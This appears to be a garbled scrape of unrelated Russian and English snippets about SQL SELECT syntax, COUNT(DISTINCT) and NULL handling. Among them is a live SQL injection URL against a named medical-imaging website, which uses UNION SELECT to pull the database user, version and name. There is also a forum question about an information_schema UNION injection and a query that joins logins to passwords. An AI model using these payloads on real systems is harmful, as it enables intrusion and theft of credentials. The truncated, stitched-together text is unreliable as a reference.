Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а
Hours 1 1 2 null null null. The result must be: 3. My query is: select count(distinct hour) from hours; but it returns: 2. I tested also
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login
select 1 from dual where dummy = null; -- запрос не вернёт записей.
SELECT COUNT(*) FROM (SELECT DISTINCT Col1 FROM ##TestData) v. This last option eliminates the Compute Scalar and extra sort.
Если вы используете базу данных MySQL, это очень важно, чтобы вы работали комфортно с командной строкой MySQL. На этом уроке мы расскажем, как использовать команду SELECT в MySQL с несколькими...
The list of select_expr terms comprises the select list that indicates which columns to retrieve. Terms specify a column or expression or can use
...Select Select Distinct Select Into Select top set Table top Truncate Table Union